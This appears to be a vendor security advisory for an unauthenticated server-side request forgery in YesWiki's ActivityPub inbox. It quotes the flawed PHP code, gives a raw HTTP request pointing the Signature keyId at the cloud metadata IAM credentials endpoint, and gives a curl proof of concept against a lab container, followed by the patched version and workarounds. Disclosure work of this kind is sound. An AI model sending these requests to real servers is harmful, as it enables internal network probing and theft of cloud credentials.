CVE-2026-52769 is a high-severity (CVSS 8.3) vulnerability in yeswiki/yeswiki. O3 Security confirms whether CVE-2026-52769 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>').- YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain
publicKey.publicKeyPemthe controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
Before we start, make sure ActivityPub is enabled on the target form
podman exec "$CTR" mysql -uroot yeswiki -e \
"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
FROM yeswiki_nature WHERE bn_id_nature = 1;"
Send the unauthenticated SSRF trigger:
TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
-d '{}' \
-w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'
You will get an error in response like this:
{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
HTTP 500, elapsed=0.15s
The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.
Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | ≥ 4.6.2&&< 4.6.6 | 4.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-52769 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-52769 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-52769. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-52769 in your dependencies?
O3 detects CVE-2026-52769 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.